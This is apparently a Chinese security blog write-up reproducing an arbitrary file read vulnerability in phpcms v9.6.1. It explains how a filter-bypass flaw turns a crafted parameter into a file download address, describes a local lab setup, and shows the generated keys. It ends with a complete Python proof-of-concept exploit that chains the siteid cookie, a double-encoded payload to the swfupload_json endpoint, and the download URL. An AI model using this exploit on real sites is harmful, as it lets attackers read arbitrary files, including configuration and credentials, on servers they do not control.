漏洞成因

通过审计发现可以通过利用三次对特殊字符的过滤，以及最后的“<”和“>”替换为空并且将两部分参数合并构造成下载地址的语句将我们传入的参数最终转换为文件下载地址的命令，从而达到无条件读取任意文件的效果。

漏洞复现

1、环境配置

攻击机为CentOS7.3系统，靶机为在本地搭建的phpcms v9.6.1

搭建过程为先安装lnmp

apt-get install screen

wget -c http://soft.vpser.net/lnmp/lnmp1.4.tar.gz && tar zxf lnmp1.4.tar.gz && cd lnmp1.4 && ./install.sh lnmp

之后下载phpcms v9.6.1源代码，放入网站目录下，进行如下图的配置

配置完成后搭建的环境地址为127.0.0.1/phpcms，按照步骤逐步安装完成即可

2、攻击步骤

1、输入实验环境ip地址http://127.0.0.1/phpcms，打开靶机；

2、打开cmd窗口输入“python /home/poc/桌面/phpcms_poc.py”运行python脚本文件phpcms_poc.py；

3、脚本自动获取以下值

siteid: 2896Kf8M_ukuRR7GXqIbBdY_r5v9PcXXKXx7uUDX

att_json: 1e54-Ilp4oMSaXsSQ49P5Qq73cLGFi6mnCkoJnz-VY-h39iYYhj2XQy-QCsX6y-Y7gI8MlhzTITNsg6rFLGe5bLafZWU7ZVz2VZVKqEPa7Bm-mET16s9AuSB4MeOwFB1xFPeIH0JQtjMl2bg1TiWinY_kxs

http://127.0.0.1/phpcms/index.php?m=content&c=down&a=init&a_k=1e54-Ilp4oMSaXsSQ49P5Qq73cLGFi6mnCkoJnz-VY-h39iYYhj2XQy-QCsX6y-Y7gI8MlhzTITNsg6rFLGe5bLafZWU7ZVz2VZVKqEPa7Bm-mET16s9AuSB4MeOwFB1xFPeIH0JQtjMl2bg1TiWinY_kxs

4、打开获取的地址“http://127.0.0.1/phpcms/index.php?m=content&c=down&a=init&a_k=1e54-Ilp4oMSaXsSQ49P5Qq73cLGFi6mnCkoJnz-VY-h39iYYhj2XQy-QCsX6y-Y7gI8MlhzTITNsg6rFLGe5bLafZWU7ZVz2VZVKqEPa7Bm-mET16s9AuSB4MeOwFB1xFPeIH0JQtjMl2bg1TiWinY_kxs”即可下载文件。

漏洞脚本

import requests

url_1 = “http://127.0.0.1/phpcms/install_package/index.php?m=wap&c=index&a=init&siteid=1”

r_g = requests.get(url_1)[出自:jiwo.org]
for cookie in r_g.cookies:
if ‘_siteid’ in cookie.name:
userid = cookie.value
print “siteid: ” + userid + “\n”

url_2 = “http://127.0.0.1/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp”
# ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=index&f=.p%253chp

data_1 = {‘userid_flash’: userid}
r_p = requests.post(url = url_2, data= data_1)

for cookie in r_p.cookies:
if ‘_att_json’ in cookie.name:
att_json = cookie.value
print “att_json: ” + att_json + “\n”

key = “http://127.0.0.1/phpcms/install_package/index.php?m=content&c=down&a=init&a_k=” + att_json
print key